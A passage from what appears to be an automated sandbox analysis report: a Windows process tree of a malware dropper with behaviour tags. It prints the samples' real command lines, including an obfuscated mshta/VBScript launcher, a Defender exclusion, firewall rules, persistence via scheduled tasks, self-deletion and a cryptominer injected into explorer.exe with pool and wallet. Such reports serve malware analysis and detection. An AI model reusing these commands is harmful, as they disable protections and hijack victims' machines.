        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        
        PID:4724
        
        C:\Users\Admin\Pictures\Adobe Films\N6BLknPYFACQsBZp40O9Kt6v.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\N6BLknPYFACQsBZp40O9Kt6v.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4140
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im N6BLknPYFACQsBZp40O9Kt6v.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\N6BLknPYFACQsBZp40O9Kt6v.exe" & del C:\ProgramData\*.dll & exit
        8⤵
        
        PID:6048
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im N6BLknPYFACQsBZp40O9Kt6v.exe /f
        9⤵
        Kills process with taskkill
        
        PID:5324
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:2744
      - C:\Users\Admin\Pictures\Adobe Films\GNtdotKWc6Raa5lKBYOly4UJ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\GNtdotKWc6Raa5lKBYOly4UJ.exe"
        6⤵
        Executes dropped EXE
        
        PID:5144
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5144 -s 276
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5896
      - C:\Users\Admin\Pictures\Adobe Films\8cgEKMgzGbfI8ysrypzZt8ej.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\8cgEKMgzGbfI8ysrypzZt8ej.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5204
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5204 -s 1924
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5356
      - C:\Users\Admin\Pictures\Adobe Films\XYTsIPvUlrMFwA4Hz1n91jab.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\XYTsIPvUlrMFwA4Hz1n91jab.exe"
        6⤵
        
        PID:4252
        
        C:\Users\Admin\Pictures\Adobe Films\XYTsIPvUlrMFwA4Hz1n91jab.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\XYTsIPvUlrMFwA4Hz1n91jab.exe"
        7⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:5392
      - C:\Users\Admin\Pictures\Adobe Films\R2qFaC32YPDWBCDGpMyAMKJq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\R2qFaC32YPDWBCDGpMyAMKJq.exe"
        6⤵
        Executes dropped EXE
        
        PID:4672
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\R2qFaC32YPDWBCDGpMyAMKJq.exe"" ..\BEDAQQT.ExE&&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\Pictures\Adobe Films\R2qFaC32YPDWBCDGpMyAMKJq.exe"" ) do taskkill -iM ""%~NXI"" -f " , 0, tRue ) )
        7⤵
        
        PID:5416
      - C:\Users\Admin\Pictures\Adobe Films\Y6BXpwOU_2mYxSzQa_q1RBOD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Y6BXpwOU_2mYxSzQa_q1RBOD.exe"
        6⤵
        Executes dropped EXE
        
        PID:4544
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 276
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5608
      - C:\Users\Admin\Pictures\Adobe Films\0SVsRGihR5M0yTEvwCefMLZh.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\0SVsRGihR5M0yTEvwCefMLZh.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2208
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        7⤵
        Loads dropped DLL
        Adds Run key to start application
        
        PID:6856
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--DzBsjyZ8js"
        8⤵
        Loads dropped DLL
        Suspicious use of FindShellTrayWindow
        
        PID:6328
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffcbd8edec0,0x7ffcbd8eded0,0x7ffcbd8edee0
        9⤵
        Loads dropped DLL
        
        PID:6428
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0x118,0x148,0x7ff7a0a39e70,0x7ff7a0a39e80,0x7ff7a0a39e90
        10⤵
        Loads dropped DLL
        
        PID:5252
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1568,15429857435563285632,2859702818402539190,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6328_530115854" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1580 /prefetch:2
        9⤵
        Loads dropped DLL
        Modifies registry class
        
        PID:6660
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1568,15429857435563285632,2859702818402539190,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6328_530115854" --mojo-platform-channel-handle=2024 /prefetch:8
        9⤵
        Loads dropped DLL
        
        PID:824
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1568,15429857435563285632,2859702818402539190,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6328_530115854" --mojo-platform-channel-handle=2208 /prefetch:8
        9⤵
        Loads dropped DLL
        
        PID:1968
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1568,15429857435563285632,2859702818402539190,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6328_530115854" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2596 /prefetch:1
        9⤵
        Loads dropped DLL
        
        PID:7132
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1568,15429857435563285632,2859702818402539190,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6328_530115854" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2636 /prefetch:1
        9⤵
        Loads dropped DLL
        
        PID:6928
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1568,15429857435563285632,2859702818402539190,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6328_530115854" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3088 /prefetch:2
        9⤵
        Loads dropped DLL
        Modifies registry class
        
        PID:2336
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1568,15429857435563285632,2859702818402539190,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6328_530115854" --mojo-platform-channel-handle=3164 /prefetch:8
        9⤵
        Loads dropped DLL
        
        PID:3188
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1568,15429857435563285632,2859702818402539190,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6328_530115854" --mojo-platform-channel-handle=3544 /prefetch:8
        9⤵
        Loads dropped DLL
        
        PID:6852
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1568,15429857435563285632,2859702818402539190,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6328_530115854" --mojo-platform-channel-handle=3232 /prefetch:8
        9⤵
        Loads dropped DLL
        
        PID:3984
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1568,15429857435563285632,2859702818402539190,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6328_530115854" --mojo-platform-channel-handle=3392 /prefetch:8
        9⤵
        Loads dropped DLL
        
        PID:3712
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1568,15429857435563285632,2859702818402539190,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6328_530115854" --mojo-platform-channel-handle=2724 /prefetch:8
        9⤵
        
        PID:6256
      - C:\Users\Admin\Pictures\Adobe Films\OqsB7qFG5Bw8_Q2WJ_jcJNsm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\OqsB7qFG5Bw8_Q2WJ_jcJNsm.exe"
        6⤵
        Executes dropped EXE
        
        PID:5816
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 300
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3944
      - C:\Users\Admin\Pictures\Adobe Films\Wdfg8WvpR8_19HhvHKIe7G3d.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Wdfg8WvpR8_19HhvHKIe7G3d.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4012
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2844
      - C:\Users\Admin\Pictures\Adobe Films\zFpXrKxeWagX1P6uFIfqjXlw.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\zFpXrKxeWagX1P6uFIfqjXlw.exe"
        6⤵
        Executes dropped EXE
        Drops startup file
        
        PID:6092
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe"
        7⤵
        Drops file in Windows directory
        
        PID:5564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        8⤵
        
        PID:3268
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:3408
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        8⤵
        
        PID:1216
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
        8⤵
        Creates scheduled task(s)
        
        PID:6204
        
        C:\Windows\System\svchost.exe
        
        "C:\Windows\System\svchost.exe" formal
        8⤵
        Drops file in Windows directory
        
        PID:4408
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
        9⤵
        
        PID:2612
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
        9⤵
        
        PID:6228
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        
        PID:6048
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
        9⤵
        
        PID:2980
      - C:\Users\Admin\Pictures\Adobe Films\encgwjtCLXbT9_GrVkJHxbup.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\encgwjtCLXbT9_GrVkJHxbup.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2944
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:6080
      - C:\Users\Admin\Pictures\Adobe Films\l6kR1XSSRKVBEoCfGITIQX0l.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\l6kR1XSSRKVBEoCfGITIQX0l.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:5480
      - C:\Users\Admin\Pictures\Adobe Films\47D4FN37hbCWAFWj8BpHWoHQ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\47D4FN37hbCWAFWj8BpHWoHQ.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5552
        
        C:\Users\Admin\Pictures\Adobe Films\47D4FN37hbCWAFWj8BpHWoHQ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\47D4FN37hbCWAFWj8BpHWoHQ.exe"
        7⤵
        
        PID:6972
      - C:\Users\Admin\Pictures\Adobe Films\6NUh4ycWnH0_N9cPVMWFrweM.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6NUh4ycWnH0_N9cPVMWFrweM.exe"
        6⤵
        Executes dropped EXE
        
        PID:1344
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 276
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1124
      - C:\Users\Admin\Pictures\Adobe Films\ge3zqOnL1uKk92uiLxQPJ6UU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ge3zqOnL1uKk92uiLxQPJ6UU.exe"
        6⤵
        Executes dropped EXE
        
        PID:2600
      - C:\Users\Admin\Pictures\Adobe Films\yTbsmay6TRxBP7bZki9WZTaD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\yTbsmay6TRxBP7bZki9WZTaD.exe"
        6⤵
        Executes dropped EXE
        
        PID:4076
      - C:\Users\Admin\Pictures\Adobe Films\jDXoFtEkUwXrXmbWiTB4QyCl.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jDXoFtEkUwXrXmbWiTB4QyCl.exe"
        6⤵
        Executes dropped EXE
        
        PID:4180
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4180 -s 1292
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1508
      - C:\Users\Admin\Pictures\Adobe Films\ZX9sH3NHIsiDsNvSx5zC2qBo.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ZX9sH3NHIsiDsNvSx5zC2qBo.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4924
      - C:\Users\Admin\Pictures\Adobe Films\MFIvqtveIJOtB98EsTfUbmpS.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\MFIvqtveIJOtB98EsTfUbmpS.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:5032
        
        C:\Users\Admin\Pictures\Adobe Films\MFIvqtveIJOtB98EsTfUbmpS.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\MFIvqtveIJOtB98EsTfUbmpS.exe"
        7⤵
        
        PID:2468
      - C:\Users\Admin\Pictures\Adobe Films\Jh65q4aJuDum9Zct26Fltcg1.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Jh65q4aJuDum9Zct26Fltcg1.exe"
        6⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6284
      - C:\Users\Admin\Pictures\Adobe Films\hnKrD4BXY8qwHP8HCgpfkTDH.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\hnKrD4BXY8qwHP8HCgpfkTDH.exe"
        6⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6292
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209b3da1556b9a317.exe
      4⤵
      PID:2596
    - - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon209b3da1556b9a317.exe
        
        Mon209b3da1556b9a317.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2272
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        
        PID:1472
        
        C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        7⤵
        Executes dropped EXE
        
        PID:3136
        
        C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"
        7⤵
        Executes dropped EXE
        
        PID:4696
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 244
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4892
        
        C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1604
        
        C:\Users\Admin\AppData\Roaming\4041417.scr
        
        "C:\Users\Admin\AppData\Roaming\4041417.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5436
        
        C:\Users\Admin\AppData\Roaming\2314370.scr
        
        "C:\Users\Admin\AppData\Roaming\2314370.scr" /S
        8⤵
        Executes dropped EXE
        
        PID:5528
        
        C:\Users\Admin\AppData\Roaming\7462461.scr
        
        "C:\Users\Admin\AppData\Roaming\7462461.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5784
        
        C:\Users\Admin\AppData\Roaming\1854101.scr
        
        "C:\Users\Admin\AppData\Roaming\1854101.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4236
        
        C:\Users\Admin\AppData\Roaming\6182235.scr
        
        "C:\Users\Admin\AppData\Roaming\6182235.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1340
        
        C:\Users\Admin\AppData\Roaming\2422169.scr
        
        "C:\Users\Admin\AppData\Roaming\2422169.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5588
        
        C:\Users\Admin\AppData\Local\Temp\4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5148
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 5148 -s 1704
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5232
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:5372
        
        C:\Users\Admin\AppData\Local\Temp\is-M2GL7.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-M2GL7.tmp\setup.tmp" /SL5="$40216,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1612
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        9⤵
        
        PID:5636
        
        C:\Users\Admin\AppData\Local\Temp\is-JF687.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-JF687.tmp\setup.tmp" /SL5="$102CA,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        10⤵
        
        PID:5480
        
        C:\Users\Admin\AppData\Local\Temp\is-86963.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-86963.tmp\postback.exe" ss1
        11⤵
        Executes dropped EXE
        
        PID:3300
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5536
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:2576
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:2844
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1948
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:6244
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:6600
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:1000
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:1116
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20b6f9d5bd03a305.exe
      4⤵
      PID:5116
    - - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon20b6f9d5bd03a305.exe
        
        Mon20b6f9d5bd03a305.exe
        5⤵
        Executes dropped EXE
        
        PID:5112

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv mjWUthPFQk20scR9PlKIJA.0
1⤵
PID:4672
- C:\Windows\System32\sihclient.exe
  C:\Windows\System32\sihclient.exe /cv mjWUthPFQk20scR9PlKIJA.0.2
  2⤵
  PID:1156

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:4876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s W32Time
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3480 -ip 3480
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4012

C:\Windows\SysWOW64\WerFault.exe
